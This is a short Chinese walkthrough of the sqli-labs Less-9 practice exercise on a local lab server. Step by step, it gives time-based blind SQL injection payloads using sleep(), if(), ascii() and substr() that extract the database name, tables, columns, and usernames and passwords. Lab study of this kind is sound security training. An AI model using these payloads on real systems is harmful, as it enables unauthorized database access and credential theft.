Less-9 延时注入
less-9与less-8类似,延时注入详解可见less-8
判断注入点:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ 显示正常,无报错
http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and 1=2 --+ 显示正常
http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and sleep(5) --+ 页面刷新5s,判断存在延时注入
判断数据库长度:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and if(length(database())>10,1,sleep(5)) --+
判断数据库名:
先判断第一个字母:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and if(ascii(substr(database(),1,1))>200,1,sleep(5)) --+
判断security库中的表:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and if(ascii(substr( (select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1))>10,1,sleep(5)) --+
判断security库中users表中的字段:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and if(ascii(substr( (select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),1,1))>10,1,sleep(5)) --+
判断users表中username字段的信息:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and if(ascii(substr( (select username from security.users limit 0,1),1,1))>10,1,sleep(5)) --+
判断users表中password字段的信息:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and if(ascii(substr( (select password from security.users limit 0,1),1,1))>10,1,sleep(5)) --+
未完待续。。。